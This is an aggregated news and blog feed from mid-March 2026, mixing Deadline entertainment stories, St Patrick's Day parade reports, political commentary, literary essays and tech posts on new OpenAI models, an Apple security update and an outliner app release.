Welcome to Rendering, a Deadline column reporting at the intersection of AI and showbiz. Rendering examines how artificial intelligence is disrupting the entertainment industry, taking you inside key battlegrounds and spotlighting change makers wielding the technology for good and ill. Got a story about AI? Rendering wants to hear from you: jkanter@deadline.com. Confession: I didn’t watch the Oscars on Sunday night. […]

Producer Molly Conners Launches Phiphen International With Abu Dhabi-Based Mondevo Group

EXCLUSIVE: Molly Conners, producer on movies including Butcher’s Crossing and Turbulence and executive producer on Birdman, is teaming up with Abu Dhabi-based company Mondevo Group to launch Piphen International. The label is an overseas extension of Conners’ U.S. label Piphen and is intended to act as “an international co-production platform and media fund operating across […]

Peabody Awards 2026: Amy Poehler, Sterlin Harjo & PBS Kids Set To Be Honored

Amy Poehler, Sterlin Harjo, and PBS Kids have been set to receive honorary mentions at the 2026 Peabody Awards. The comedian, podcaster, and SNL alum Amy Poehler will be honored with the Peabody Career Achievement Award, while the director, producer, and screenwriter Sterlin Harjo will receive the Peabody Trailblazer Award. PBS Kids will receive the Peabody Institutional […]

‘Assassin’s Creed’ TV Adaptation Casts Nabhaan Rizwan & Claes Bang As Series Regulars

Nabhaan Rizwan (In Camera, Kaos) and Claes Bang (The Square, Bad Sisters) have been cast as series regulars in Assassin’s Creed, Netflix’s live-action series adaptation of Ubisoft’s bestselling video game franchise. Assassin’s Creed is a high-octane thriller centered on the secret war between two shadowy factions — one set on determining mankind’s future through control and manipulation, while the […]

‘Spider-Man: Brand New Day’ First Trailer Shows Zendaya, Jon Bernthal’s Punisher, Mark Ruffalo’s Bruce Banner & More

Here’s your first trailer for Spider-Man: Brand New Day, which launches in cinemas from July 31. Destin Daniel Cretton directs the anticipated fourth installment in the MCU‘s Spider-Man franchise, which completed filming late last year. The synopsis reads: “Four years have passed since the events of No Way Home, and Peter is now an adult living entirely alone, having voluntarily erased himself […]

Disabled Creatives Including ‘Reunion’ & ‘We Might Regret This’ Creators Join Development Programme To “Reclaim The Horror Genre”

EXCLUSIVE: A development programme has launched to help disabled UK creatives break into the horror genre featuring the creators of Reunion and We Might Regret This. 104 Films has opened a D-Horror programme backed by the BFI Creative Challenge Fund, which will guide 10 projects from script to “market-ready pitch materials” over the next four […]

Phone-free thought catcher

Sleep better knowing you have an easy way to make a night-time to-do list with this Raspberry Pi 5 build.

The post Phone-free thought catcher appeared first on Raspberry Pi.

James McAvoy Leading Sky Adaptation Of Frankie Boyle’s ‘Meantime’

James McAvoy is leading a Sky adaptation of comedian Frankie Boyle’s novel Meantime. McAvoy is joined by the likes of Benedict Wong, Mark Bonnar and Christopher Eccleston in Meantime, which follows Felix McAveety (McAvoy), a full-time addict whose best friend is found murdered in a Glasgow park, leaving him as the police’s most convenient suspect. […]

Meta’s AI Glasses and Privacy

Surprising no one, Meta’s new AI glasses are a privacy disaster.

I’m not sure what can be done here. This is a technology that will exist, whether we like it or not.

Meanwhile, there is a new Android app that detects when there are smart glasses nearby.

Trump Sends Stephen Miller to Strait of Hormuz: ‘No One Clears a Place out Faster Than Him’

He expressed confidence in Miller’s effectiveness as a human repellent.

The Market Definition Trap

Antitrust defendants increasingly prevail not by disproving competitive harm, but by dragging plaintiffs into costly battles over market definition. As courts have broadened the rule of reason and complicated the evidentiary standards for proving market power, these threshold fights have become a structural barrier to antitrust enforcement.

Martin Clunes On Playing Disgraced News Anchor Huw Edwards: “We Watched Him Every Night. He Sort Of Seeped In”

Martin Clunes believes no one in the UK truly knows the story of disgraced BBC news anchor Huw Edwards. Edwards, who paid a teenager at the BBC for sexual pictures and subsequently pled guilty to making indecent images of children, is the subject of a new drama for Paramount UK network 5 starring the Wuthering Heights […]

It's not a binary choice. Independent boffin builds a ternary CPU on an FPGA

Three is the magic number as first off-the-shelf general-purpose ternary hardware since c 1965 lands

The 5500FP is a ternary CPU implemented on an FPGA. It's not very fast, but it makes it easier to experiment with computers that don't use binary.

Donald Trump, Petropresident

Follow the Gulf oil money

Lit Hub Daily: March 18, 2026

Ibram X. Kendi explains how The Great Replacement Theory made its way from rural France to the heart of American power. | Lit Hub Politics Casey Scieszka considers Tuck Everlasting, immortality, and the illusion of youth. | Lit Hub Craft

Trump wants to bribe energy companies to kill wind energy

Burn, baby, burn.

Even Before the Iran War, There Was a Growing Inflation Problem

January PCE data reveals that disinflation had already stalled and reversed before the war with Iran. Even before new fiscal stimulus and the energy shock, there's a case for a pause, or even a hike.

‘American Doctor’: Director Poh Si Teng Takes Searing Film On Volunteer Physicians Treating Wounded Kids In Gaza To CPH:DOX

A sense of outrage compelled Oscar-nominated producer Poh Si Teng to make her directorial debut, the searing American Doctor, now screening at CPH:DOX in Copenhagen. “I was very angry and then came despair,” she explained in a talk at the CPH:Conference on Tuesday. “I didn’t know what to do with those emotions.” Her emotions sprang […]

Chow Yun Fat, Aaron Kwok, Tony Leung Ka Fai & Louis Koo Join Cast Of Edko Films’ ‘Cold War 1994’

Edko Films revealed at Filmart today that ten award-winning actors – including major Hong Kong stars Chow Yun Fat, Aaron Kwok, Tony Leung Ka Fai and Louis Koo – have joined the cast of its highly-anticipated upcoming action thriller Cold War 1994.  International stars Aidan Gillen (Game Of Thrones) and Hugh Bonneville (Downton Abbey) have […]

On the Laughable Origins of the Far Right’s Beloved “Great Replacement Theory”

A novelist visited southern France during one of the final years of the twentieth century. He arrived in Hérault, to be exact. Long ago, this coastal area enchanted the second U.S. minister to France, Thomas Jefferson. Mountains in the north.

From Glasnost to Silence: The Collapse of Literary Freedom in Russia

In 1985, when a relatively young party functionary Mikhail Gorbachev became the leader of the Soviet Union, a new era began. Gorbachev started reforms that eventually led to the dissolution of the state and introduced a politics of glasnost (“openness”).

When the Fountain Runs Dry: On Aging, Immortality and the Illusion of Everlasting Youth

I am 11 years old in Brooklyn, sitting in my classroom—the dark one on the first floor—with a group of classmates who have clashed all year long. Friendships fraying, puberty unevenly invading our bodies in ways both private and horrifically

The Five Best Celebrity/Normal Person Romance Novels to Read

“Who is your celebrity crush?” is a wonderful question to get to know someone: you just know someone by learning which out-of-reach celebrity holds their imagination. Romance novels where celebrities and lay people fall for one another are a special

We Have Too Little Time (and This Makes Us All Too Human)

Thirty isn’t old if you’re a tree. It’s not even old if you’re a person, but it still means you’re probably more than a third of the way through your life. Human life is too short for our reasonable aims

On the Beautiful, Terrible Villains of Reality Television

A few minutes into the premiere of the sixth and final season of The Hills, a black Suburban drives up to a chalet-style home with a wreath on the front door on a snowy day. “Crested Butte, Colorado,” the title

Meet Hildegard of Bingen, the German Mystic Who Destigmatized Women’s Health

In the Middle Ages, birthing women and hopeful mothers were not honoring their saints purely out of religious duty. Like the appeals made by women during the antiquity to midwife goddesses, prayer and supplication were ways to affirm intentions for

I Am Agatha

I kissed Alice for the first time later that afternoon as she wrestled with the wringer washer in the laundry nook off the kitchen. It was easy to feel free in this laundry nook, with its straightforward purpose, no frills

Trump Alone

A Note to America's Allies and Friends

@Dave Winer's linkblog

Added Westenberg to my blogroll.

@Dave Winer's linkblog

Marc Andreessen is doing what works for him, but is wrong that introspection was new to Freud.

Marc Andreessen is wrong about introspection

This newsletter is free to read, and it’ll stay that way. But if you want more - extra posts each month, access to the community, and a direct line to ask me things - paid subscriptions are $2.50/month. A lot of people have told me it&

@Dave Winer's linkblog

Venezuela beats US 3-2 on Suárez’s 9th-inning double to win first World Baseball Classic title.

@Dave Winer's linkblog

The world must be, by now, fed up with being dumped on by Trump.

@Dave Winer's linkblog

Added Jon Udell to my blogroll.

March 17, 2026

Yesterday, President Donald J.

Turtles all the way up

I’m fascinated by Hawaiian Green Sea Turtles (Chelonia mydas), which bask on the sands of Poʻipū Beach, here on the south shore of Kauaʻi. Known locally as honu, they typically range from 200 to 400 pounds, but some have weighed in north of 800 pounds. They can also live more than 90 years, are the largest hard-shelled sea […]

Wednesday 18 March, 2026

Crooked Timber The trunk of an old tree in the Library court of my college. It looks as if it had been wrung out by a Goliath doing to it what we do to wet towels. But it always reminds … Continue reading →

TAICCA Showcases Upcoming Series ‘Addicted’, Feature Film ‘Haru And Tae’ As Taiwan Celebrates Record-Breaking Q1 2026 Box Office

Taiwan Creative Content Agency (TAICCA) is hosting a showcase of Taiwanese talent and projects at Filmart today, just as local productions are heading for a record-breaking first quarter at the Taiwanese box office.  The stars of two upcoming Taiwanese productions will attend the TAICCA showcase in Hong Kong – Ivy Yi-han Chen, star of TV […]

China Censors CNN Segment About Chinese Censorship

It might be the quickest-ever fact check. A segment of Elex Michaelson’s The Story Is on CNN was censored last night just as the network’s correspondent in Beijing, Mike Valerio, began describing the topics that trigger the Middle Kingdom’s censors. “We’re being watched right now,” Valerio explained as part of the segment, “so if we […]

★ Squashing

CNBC’s headline is journalistic malpractice. The rest of their report is even worse.

Teyana Taylor Sends Amy Madigan Love Following Oscars Win: “This Is Why I Will Always Stand Up For This Incredible Woman”

The admiration between Teyana Taylor and Amy Madigan is mutual, and throughout the award season, the stars have shown their support. Following Madigan’s win at the Oscars, Taylor sent her some love and explained why she would always “stand up” for her. “And this is why I will always stand up for this incredible woman,” […]

Doc Talk Podcast Debates Oscar Results, Heads To True/False For Conversations With Phenomenal Makers Of ‘Phenomena’ And ‘Pinball’

The documentary community is still absorbing the win by Mr. Nobody Against Putin at the Academy Awards on Sunday. The film didn’t exactly “come out of nowhere” to claim the Oscar for Best Documentary Feature, but Netflix’s The Perfect Neighbor sure looked like the favorite going into the ceremony. On the new edition of Deadline’s Doc Talk podcast, hosts […]

Diane Warren Says She Likes Being The “Biggest Loser Ever” At The Academy Awards, Prefers It To Winning A Competitive Oscar

At Sunday’s Oscars, Diane Warren lost yet again. It marked her 17th nomination without a win. But she did achieve one mark of distinction: Warren is now the person with the most nominations without a win in Oscar history. Turns out, it’s a designation she’s embracing. In an interview today, the songwriter acknowledged seeing headlines […]

@Dave Winer's linkblog

Identity of Banksy, Oscar-nominated graffiti artist, proven 'beyond dispute.'

Oscars Audience Down 9% To 4-Year Low On ABC & Hulu

The 98th Oscars audience slipped to a four-year low this year with 17.86 million viewers across ABC and Hulu on Sunday. That’s down about 9% from last year, when the show tallied nearly 20M viewers after Disney accounted for PC and mobile viewing. So, it’s possible this number might go up slightly. It is, of […]

St. Patrick’s Spleen

So here’s one Iain Henderson: If I Had a Place to Stand and a Lever I Could Fix The Internet … Excerpt: “Endless positive possibilities become possible when we move beyond the weaknesses in the current architecture, and build genuine digital capability on the side of the human.” But I still miss the damn thing My spleen […]

A24’s ‘Peaked’ Adds Five To Cast

A24’s new comedy Peaked, from Molly Gordon and Allie Levitan, has cast five more in supporting roles: Amy Sedaris (Is This Thing On?), Owen Thiele (Adults), Jaya Harper (Roommates), Emil Wakim (Saturday Night Live), and model Alex Consani. Character details are under wraps. The film follows the two girls who traumatized you in high school […]

Second St. Patrick’s Day session

Second St. Patrick’s Day session

VIDEO: Meet the New Support Team!

Welcome to the first Community Office Hours of 2026! We’re all recovered from conferences in Brussels and California, and we’re talking to members of one of our newest teams: Support. Wait, hasn’t Thunderbird always had a support team? Surprisingly, no! We’ve had individual staff members responsible for different parts of our support efforts, but never […]

The post VIDEO: Meet the New Support Team! appeared first on The Thunderbird Blog.

OpenAI Has New Focus (on the IPO)

The Wall Street Journal recently reported that leadership wants OpenAI, the company, to focus. Seems like a plain old business strategy story. Nope! First, in more prosaic terms, the all-hands and what was said was indicative of need for focus and urgency. I read it as mild panic stations. Second, step back enough and a …

Judge Orders Voice Of America Employees Returned To Work, Reversing Trump Administration Effort To Dismantle Government-Run Broadcaster

Voice of America may soon be up and running again. A federal judge ordered that more than 1,000 employees working for government-run broadcasting entities, including VOA, be returned to work, reversing a key part of Trump administration efforts to dismantle the entities. U.S. District Court Judge Royce Lamberth also set aside the suspension of broadcast […]

Economic Populism Is Not Just For The Left Anymore

Is this new breed of moderate economic populists the future of the Democratic Party?

Quoting Ken Jin

Great news—we’ve hit our (very modest) performance goals for the CPython JIT over a year early for macOS AArch64, and a few months early for x86_64 Linux. The 3.15 alpha JIT is about 11-12% faster on macOS AArch64 than the tail calling interpreter, and 5-6% faster than the standard interpreter on x86_64 Linux.

— Ken Jin, Python 3.15’s JIT is now back on track

Tags: python

Jesse Williams Joins Season 5 Of Apple TV’s ‘The Morning Show’

EXCLUSIVE: The fifth season of Apple TV’s multi-award winning The Morning Show is adding Jesse Williams. The actor will play Vernon, UBN’s newest Head of News, who is known as a brash pot-stirrer with a talent for grabbing and keeping an audience.    Williams joins returning Morning Show cast Jennifer Aniston, Reese Witherspoon, two-time Emmy […]

SXSW 2026: All Of Deadline’s Movie Reviews

The 2026 SXSW Film & TV Festival kicked off March 7, in Austin and features 49 world premieres among debuts. It’s the first time the event has launched on a Thursday. Boots Riley’s sci-fi comedy I Love Boosters was the opening-night film, and other anticipated films include Searchlight’s Radio Silence sequel Ready or Not 2: Here I Come, New […]

‘Chili Finger’ Review: Judy Greer, John Goodman & Bryan Cranston Make A Meal Of Coen Brothers-Style Black Comedy – SXSW

Watching the extremely dark comedy Chili Finger, you have to believe directors Edd Benda and Stephen Helstad wanted to grow up to become the Coen brothers. This movie set in Nekoosa, Wisconsin, is right out of the Blood Simple/Fargo playbook, even to the point of recruiting a Coens favorite, John Goodman, for a key role. […]

Tina Fey Channels Her Inner Mary Poppins In First Ever ‘Saturday Night Live UK’ Sketch

“Did someone say Poppins?,” asks Tina Fey as she hovers above a group of bemused British comedians. The first-ever SNL UK sketch has dropped ahead of this Saturday’s opening show and it’s all about the guest host, who was announced this week as the first to front the UK version of Lorne Michaels’ show. The […]

My Video Chat with Christiane Amanpour about Trump's War with Iran and his Battle with the Press

On week three of the Iran war, I joined the mighty Christiane on her podcast The Ex Files to talk about Iran and Trump’s pressure points as adversaries, Pete Hegseth’s bang-bang rhetoric, and why the press falls short in Trump’s micro-interviews.

’Tis Saint Patrick himself!

’Tis Saint Patrick himself!

Nicola Coughlan wows in black leather ensemble at Big Mood screening

Irish actress Nicola Coughlan wowed in an all-black leather ensemble on the red carpet at a screening for the latest series of comedy-drama Big Mood. The Channel 4 show follows the 10-year friendship between Maggie (Coughlan) and Eddie, played by Lydia West, as they face the pressures of their 30s.

Newsletter: You Need to Know About Ayn Rand to Understand MAGA

The Cult of Selfishness Shaping Our Political Landscape

Taylor Richardson & Alex MacNicoll Set To Star In Short Film ‘Change The Prophecy’ From Writer-Director Lindsay Grossman

EXCLUSIVE: Taylor Richardson (The Gilded Age) and Alex MacNicoll (The Society) are set to star in the short film Change the Prophecy from writer-director and Love List co-founder Lindsay Grossman. The short is a television proof-of-concept, based on Grossman’s original short story of the same name. It will be produced by fellow Love List co-founder Madison […]

Welker White Rounds Out Cast Of Martin Scorsese’s Apple Pic ‘What Happens At Night’

EXCLUSIVE: Martin Scorsese has rounded out the cast of his Apple film What Happens at Night with the addition of Welker White, his collaborator on projects including GoodFellas, The Wolf of Wall Street, The Irishman, and Killers of the Flower Moon. Character details are under wraps. White joins a cast led by Leonardo DiCaprio and […]

Il y a un an, l’accident [en]

[en] Le 17 mars 2025, il y a un an jour pour jour, je passais la première nuit de mes vacances de ski tant attendues à l’hôpital de Rennaz. J’étais arrivée au chalet vers midi, plus tard que ce que j’avais voulu, j’avais posé bagages et Oscar et pris mes skis pour aller skier un … Continue reading "Il y a un an, l’accident [en]"

Meet Christina Bohannan, Working Hard To Flip IA-01 Blue This November

She only lost by 800 votes in 2024, in a much tougher year. With our help Christina can and should win this year......

‘Sender’ Review: Britt Lower Stars In Mesmerizing Psychological Thriller Even More Twisted Than ‘Severance’ – SXSW

You have to wonder how Britt Lower keeps her sanity. On top of the star’s Emmy-winning role in Severance, she now has followed it up with a truly bizarre psychological mind trip about, well, boxes, both in our homes and in our heads. Russell Goldman’s feature film debut is as intriguing as it gets, a […]

Lang Fisher & Tina Fey Adapting Elle Cosimano’s Book ‘Finlay Donovan Is Killing It’ For TV At Peacock

EXCLUSIVE: Lang Fisher (The Four Seasons, Never Have I Ever) is currently in development on a TV adaptation of the Elle Cosimano novel Finlay Donovan Is Killing It at Peacock. Executive producers include Fisher, Tina Fey, through her Little Stranger, Inc. production banner, Eric Gurian, David Miner, and Cosimano. Universal Television, a division of Universal Studio Group, […]

Lorenza Izzo Joins Taylor Schilling & Michiel Huisman In ‘What The Dead Know’ NBC Pilot

Lorenza Izzo (Hacks) is set as a lead opposite Taylor Schilling and Michiel Huisman in in NBC‘s crime drama pilot What The Dead Know, from Wolf Entertainment and Universal Television, a division of Universal Studio Group. Written by Beth Rinehart, the procedural is based on former New York City death investigator Barbara Butcher’s memoir of the same […]

MORE PICTURES: People of Kilkenny City crowd the streets for St Patrick's Day parade

If you have pictures from your St Patrick's Day celebrations, email pictures@kilkennypeople.ie

Kilkenny city was full of green on St Patrick's Day as communities came together to celebrate our national holiday. Five parades took place across the county with the showpiece event in Kilkenny Cit

Interlude with dancers

Interlude with dancers

‘Age Of Attraction’ Finds Love With Netflix Viewers

Age gap love is proving to be a hit with Netflix subscribers. The streamer launched Age of Attraction, its latest dating show, last week and it entered the streamer’s global top ten at number six. It scored 3.8M views in its first five days after its launch on March 11. It has become the first […]

Greg Cohen Joins Peter Craig & Bryan Unkeless’s Night Owl As SVP, Film & TV

EXCLUSIVE: Greg Cohen has joined Peter Craig and Bryan Unkeless’s production company Night Owl as SVP of Film and TV. He comes over after eight and a half years at Lorenzo di Bonaventura’s di Bonaventura Pictures, where he built and shepherded a slate of action-forward film and TV projects across both streaming and theatrical studios. […]

GPT-5.4 mini and GPT-5.4 nano, which can describe 76,000 photos for $52

OpenAI today: Introducing GPT‑5.4 mini and nano. These models join GPT-5.4 which was released two weeks ago.

OpenAI's self-reported benchmarks show the new 5.4-nano out-performing their previous GPT-5 mini model when run at maximum reasoning effort. The new mini is also 2x faster than the previous mini.

Here's how the pricing looks - all prices are per million tokens. gpt-5.4-nano is notably even cheaper than Google's Gemini 3.1 Flash-Lite:

ModelInputCached inputOutputgpt-5.4$2.50$0.25$15.00gpt-5.4-mini$0.75$0.075$4.50gpt-5.4-nano$0.20$0.02$1.25Other models for comparisonClaude Opus 4.6$5.00-$25.00Claude Sonnet 4.6$3.00-$15.00Gemini 3.1 Pro$2.00-$12.00Claude Haiku 4.5$1.00-$5.00Gemini 3.1 Flash-Lite$0.25-$1.50

I used GPT-5.4 nano to generate a description of this photo I took at the John M. Mossman Lock Collection:

llm -m gpt-5.4-nano -a IMG_2324.jpeg 'describe image'

Here's the output:

The image shows the interior of a museum gallery with a long display wall. White-painted brick walls are covered with many framed portraits arranged in neat rows. Below the portraits, there are multiple glass display cases with dark wooden frames and glass tops/fronts, containing various old historical objects and equipment. The room has a polished wooden floor, hanging ceiling light fixtures/cords, and a few visible pipes near the top of the wall. In the foreground, glass cases run along the length of the room, reflecting items from other sections of the gallery.

That took 2,751 input tokens and 112 output tokens, at a cost of 0.069 cents (less than a tenth of a cent). That means describing every single photo in my 76,000 photo collection would cost around $52.44.

I released llm 0.29 with support for the new models.

Then I had OpenAI Codex loop through all five reasoning effort levels and all three models and produce this combined SVG grid of pelicans riding bicycles ( generation transcripts here). I do like the gpt-5.4 xhigh one the best, it has a good bicycle (with nice spokes) and the pelican has a fish in its beak!

Tags: ai, openai, generative-ai, llms, llm, vision-llms, llm-pricing, pelican-riding-a-bicycle, llm-release

llm 0.29

Release: llm 0.29

Adds support for OpenAI's new models gpt-5.4, gpt-5.4-mini, and gpt-5.4-nano.

Donald Trump tells Micheal Martin to buy US liquified natural gas

Ireland can address a “tremendous” trade imbalance with the US by buying American liquified natural gas (LNG), President Donald Trump has said. Mr Trump said Ireland had “better do something” to bring the trade deficit down. Speaking at the Friends of Ireland Luncheon for St Patrick’s Day at the US

Irish premier tells Donald Trump he can work with European leaders on Iran

Irish premier Micheal Martin has said Donald Trump and European leaders can work together to resolve differences in relation to the war with Iran. It comes amid frictions between European leaders and Mr Trump after he said he expected Europe’s co-operation on a bombing campaign launched with Israel

Electric atmosphere at St Patrick's Day parade in Graignamanagh

Hundreds of people lined the streets of Graignamanagh to watch this year's St Patrick's Day parade which was a resounding success. A sea of green washed over the town as young and old alike turned out in their numbers to celebrate St Patrick and to cheer on the participants in the parade. CLICK HERE

You Might Debate It — If You Could See It

Imagine I’m the design leader at your org and I present the following guidelines I want us to adopt as a team for doing design work:

• Typography: Use expressive, purposeful fonts and avoid default stacks (Inter, Roboto, Arial, system).
• Motion: Use a few meaningful animations (page-load, staggered reveals) instead of generic micro-motions.
• Background: Don't rely on flat, single-color backgrounds; use gradients, shapes, or subtle patterns to build atmosphere.
• Overall: Avoid boilerplate layouts and interchangeable UI patterns. Vary themes, type families, and visual languages.

How do you think that conversation would go?

I can easily imagine a spirited debate where some folks disagree with any or all of my points, arguing that they should be struck as guidelines from our collective ethos of craft. Perhaps some are boring, or too opinionated, or too reliant on trends. There are lots of valid, defensible reasons.

I can easily see this discussion being an exercise in frustration, where we debate for hours and get nowhere — “I suppose we can all agree to disagree”.

And yet — thanks to a link to Codex’s front-end tool guidelines in Simon Willison’s article about how coding agents work — I see that these are exactly the kind of guidelines that are tucked away inside an LLM that’s generating output for many teams.

It’s like a Trojan Horse of craft: guidelines you might never agree to explicitly are guiding LLM outputs, which means you are agreeing to them implicitly.

It’s a good reminder about the opacity of the instructions baked in to generative tools.

We would debate an open set of guidelines for hours, but if there’re opaquely baked in to a tool without our knowledge does anybody even care?

When you offload your thinking, you might be on-loading someone else’s you’d never agree to — personally or collectively.

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Bluesky

macOS 26.3.1 (a)

Howard Oakley: Apple has just released its first public Background Security Improvement (BSI) for macOS 26.3.1 Tahoe, labelled as BSI (a)-25D771280a. Apple: Available for: iOS 26.3.1, iPadOS 26.3.1, macOS 26.3.1, macOS 26.3.2 Impact: Processing maliciously crafted web content may bypass Same Origin Policy Description: A cross-origin issue in the Navigation API was addressed with improved […]

Whither Liquid Glass?

William Gallagher: Apple’s Liquid Glass redesign of all of its operating systems from iPhone to Mac may have proven divisive, and it was certainly spearheaded by Alan Dye. But there is no possibility that it will be dropped, even as Bloomberg now reports that several designers left alongside Dye when he moved to Meta. This […]

Tony Hoare, RIP

Liam Proven: Professor Charles Anthony Richard Hoare has died at the age of 92. Known to many computer science students as C. A. R. Hoare, and to his friends as Tony, he was not only one of the greatest minds in the history of programming – he also came up with a number of the […]

Are the Economic Books Being Cooked?

No, but they're feeling slightly warm

First St. Patrick’s Day session

First St. Patrick’s Day session

Urlingford National School top of the class as Kilkenny celebrates St Patrick's Day

If you have St Patrick's Day news from your area, email news@kilkennypeople.ie

Pupils and staff from Urlingford National School are over the moon after the local school has won 'Overall Best Float' at the Urlingford St Patrick's Day Parade on Tuesday. he successful float was made up of member

PICTURES: Ireland turns green as hundreds of thousands celebrate St Patrick's Day in style

Stars and celebrities out on force for national parade in Dublin

Hundreds of St Patrick's Day parades have taken place in cities, towns and villages across the country to celebrate Irish culture, heritage and identity. to celebrate Irish culture, heritage and identity. The largest parade in D

@Dave Winer's linkblog

Top counterterrorism official Joe Kent resigns over Trump's Iran war.

Carrick-on-Suir's St Patrick's Day Parade was a joyful celebration enjoyed by thousands

The parade honoured the town's sporting heroes of the past year and was led by a radiantly green St Patrick

Carrick-on-Suir's St Patrick's Parade was a joyful, colourful celebration of local sports athletes who have done the town and district proud over the past year with plenty of silverware

Starmer has made ‘big mistake’ on Iran stance, Trump claims

President Donald Trump said Sir Keir Starmer has made a “big mistake” in his response to US calls for support in the war with Iran as he suggested the “good” trade deal he struck with the UK “probably wasn’t appreciated”. Mr Trump reiterated his criticism of Sir Keir’s stance on the conflict as he a

Trump says energy prices in Ireland will ‘drop like a rock’ after Iran war ends

US president Donald Trump has pledged that energy prices in Ireland will “drop like a rock” after the war with Iran ends. The cost of petrol and diesel, as well as home heating oil, has skyrocketed in Ireland since Strait of Hormuz was blocked by Iran in response to the military attacks by the US an

Donald Trump ‘going to try’ to attend Irish Open

US President Donald Trump has said he is “going to try” to attend the Irish Open golf tournament when it is hosted at his golf course later this year. Mr Trump expressed hope that he would be visiting Ireland in the autumn as he met Taoiseach Micheal Martin in the Oval Office in the White House. The

More fantastic pictures from the Thomastown Wheelbarrow Parade in Kilkenny

Thomastown shines bright on St Patrick's Day / Pictures by Kilkenny Live photographer Willie Dempsey

The Thomastown Wheelbarrow Parade really delivered this year with 25 floats that were all so thoughtfully designed and crafted. The Thomastown parade has been christened one of Kilkenny’s most

Trump And Trumpism Were Already Failing. The Iran Fiasco May Be Causing Something Akin To A Collapse

I am going live with Jen Rubin and Norm Eisen tomorrow at 915am EDT to talk about all this.....

Pictures: Thousands line the city streets for action-filled parade - St Patrick’s Day in Kilkenny

Twelve floats and more than 40 walking groups took part in the festivities

Kilkenny City streets were packed this afternoon as throngs of visitors flocked from locally and abroad to see what this year’s St Patrick’s Day parade had to offer. Although rain was threatened with intermittent drops

A Fisherman Of The Inland Sea by Ursula K. Le Guin

When I was summing up my reading habits in 2022 I said:

I think the lesson this year is: you can’t go wrong with Octavia E. Butler or Ursula K. Le Guin.

I stand by that. But maybe I’d recommend some Ursula K. Le Guin books more than others.

A Fisherman Of The Inland Sea is a good collection of short stories. But it’s not a great collection of short stories. If you’re looking for a great collection of short stories, read The Unreal and the Real.

When it comes to Ursula K. Le Guin, the standard is always going to be high so even when the stories aren’t her best, they’re still better than the output of most other sci-fi writers.

My slight disappointment with A Fisherman Of The Inland Sea isn’t so much with the stories themselves but with the collection.

To begin with, there are four unconnected short stories. That’s fine. It’s a short story collection after all.

But then after that there are three interconnected short stories from the Hainish cycle. They’re the best part of this book. That just makes the preceding stories look like filler.

If those three stories had been released as little collection, it would be a miniature classic. As it stands, you get more of a mixed bag.

But still, it’s worth reading this collection for those three stories alone.

Zavala 4.1

Another Zavala release is here. This time there is a lot going on with Markdown capabilities.

Markdown Import

You can now directly import Markdown documents into Zavala. Markdown documents are very unstructured and Zavala is a very structured outliner, so this was something of a challenge. In the end it worked out rather well. Markdown headings become Zavala rows. Markdown paragraphs became Zavala notes paragraphs.

I’ve done a fair amount of testing this using open source project documents and Zavala has been able to parse them all. Sometimes there is page layout issues, but for the most part it just works.

Here I’ve imported a standard CODE_OF_CONDUCT.md file. It can now be edited and then exported again using Export Markdown Doc and it will be structurally the same when it was imported (plus edits).

New Markdown Formatting Options

We’ve got a couple new formatting options for text. One is Code and the other is Highlight. More formatting options has been a popular request for Zavala. These are probably the final two that will get added, mostly because they don’t conflict with how Zavala works.

Zavala tries to stay as compatible with Markdown as possible. This means that underlining is not going to happen. Underlining in Markdown is reserved for links and there is no widely agreed upon way to extend Markdown to include underlines anyway.

The other main formatting choice left is strikethrough. Strikethrough is a softer no than underlining, but is still a no. It conflicts with how Zavala shows that a row has been completed. I really like using the strikethrough to show completed rows and have no plans on using checkboxes for that.

Shortcuts Menu

Another new feature coming in Zavala 4.1 is more of a power user feature. That’s why you have to enable it in the Settings to make it work. It is a menu that you can use to launch frequently used Shortcuts.

Zavala’s Shortcuts support is extensive and quite powerful. I use it to publish Zavala’s help web pages and my blog posts (including this one). One person uses a Shortcut create a daily template to track their migraine headaches. You can use Shortcuts for lots of things.

I don’t like having to launch the Shortcuts app and dig around to find the Shortcut I want to run. Now you can just add the name of the Shortcut you want to run to Zavala’s Shortcut Menu. When you activate the Shortcut from Zavala, Zavala will launch the Shortcuts application, run the Shortcut, and then return back to Zavala when you are done. Much nicer.

Big Release

In addition to those 3 changes we now export images automatically in a folder next to your exported Markdown or OPML files if you are exporting an outline with images. Lots of bug fixes went into this release too.

Now… on to working on Zavala 4.2.

Quoting Tim Schilling

If you do not understand the ticket, if you do not understand the solution, or if you do not understand the feedback on your PR, then your use of LLM is hurting Django as a whole. [...]

For a reviewer, it’s demoralizing to communicate with a facade of a human.

This is because contributing to open source, especially Django, is a communal endeavor. Removing your humanity from that experience makes that endeavor more difficult. If you use an LLM to contribute to Django, it needs to be as a complementary tool, not as your vehicle.

— Tim Schilling, Give Django your time and money, not your tokens

Tags: ai-ethics, open-source, generative-ai, ai, django, llms

Northern Irish peace process given to British ‘on a plate’, Adams tells court

The Northern Irish peace process was given to the British government “on a plate”, Gerry Adams has told the High Court. Mr Adams is giving evidence on Tuesday in defence of a legal claim brought against him by three victims of bombings in England by the Provisional IRA in the 1970s and 1990s. John C

Money And Habermas

Writing of lasting value

The Testament of Ann Lee: proyecto épico con resultados asombrosos